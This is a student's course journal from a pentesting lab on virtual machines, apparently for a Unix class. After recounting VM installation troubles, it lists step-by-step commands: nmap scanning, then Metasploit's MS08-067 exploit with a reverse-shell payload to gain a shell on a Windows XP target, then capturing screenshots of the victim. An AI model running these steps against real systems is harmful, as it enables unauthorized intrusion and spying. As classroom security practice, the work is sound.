420-321-VA Unix sect. 00001 Semester 3 Ibrahim El Zeftawy

Journal research 2

23th November 2024:

In lab class, I tried to fix my Kali Linux from disconnecting from the internet. We played with the network configuration settings from host-only, to NAT, to bridged mode. After installing a ready virtual Kali machine from osboxes.org, the machine still kept disconnecting. All of this was on VMware.

At home, I decided to use VirtualBox. I installed Kali, and it worked well, connecting to the internet without any disconnections. It was on NAT. Now, I am trying to reinstall Windows XP on VMware, but it didn't work; during installation, it either crashed or kept saying that there were 39 minutes left. So, I went back to VirtualBox and tried using the option "Skip Unattended Installation." The installation went fast without asking me for a key or for a username and password to create, but then, when booting, it said there was an error with the CD, like it's missing. This is understandable since we skipped a part of the installation. Now, I am retrying to reinstall Windows XP on VirtualBox, and it has stayed on the "39 minutes remaining" screen for 2 hours.

I will see next week with Kais how we will put the virtual machines on a hard drive so we can present our work in class, or we can do a screen recording to minimize the chances of problems happening in front of the class and not being able to present. Other than the installation issues, we finally found the right commands to successfully pentest into the Windows XP target machine. This video helped us the most from the previous videos we watched, because it explained everything in a very detailed and clear way: https://youtu.be/ZUGwCaaRoVo?si=4HGY58cqJ3JxIivu

Since only Kais's VMs worked, I searched for the video, sent it to him, and we watched it together. Then I split the screen into two and helped him write the commands. I paused the video, and we discussed and tried to understand what each command is used for. After this was done, he went to finish the scripts, and I found some other commands we can use once we are on the target machine, such as taking a screenshot of the target's computer.

Commands:

- ifconfig
- ping [target machine's ip]
- nmap -sV [target machine's ip]
- nmap -p --script vuln [target machine's ip] -Pn
- have the vulnerability's IDs: CVE which is CVE-2008-4250
- go on Metasploit with 'sudo msfconsole'
- write 'search CVE-2008-4250'
- take the name of the exploit which is 'exploit/windows/smb/ms08_067_netapi'
- write 'use [exploit name]'
- show options
- set the RHOSTS and any other required setting
- show payloads and choose the needed payload, in my case I tried using a shell payload named windows/shell_reverse_tcp
- and 'exploit' or 'run'
- And voila, you have access to the victim's command shell as a powerful user.

For the screenshot you do:

- help
- ps (we want to list all processes)
- migrate [process id] (we want to migrate to a specific process)
- screensh (then you will have normally have the option for screenshare and screenshot, but for windows xp only screenshot is available)
- screenshot (then navigate to the /yourusername/ in files and find the saved screenshot)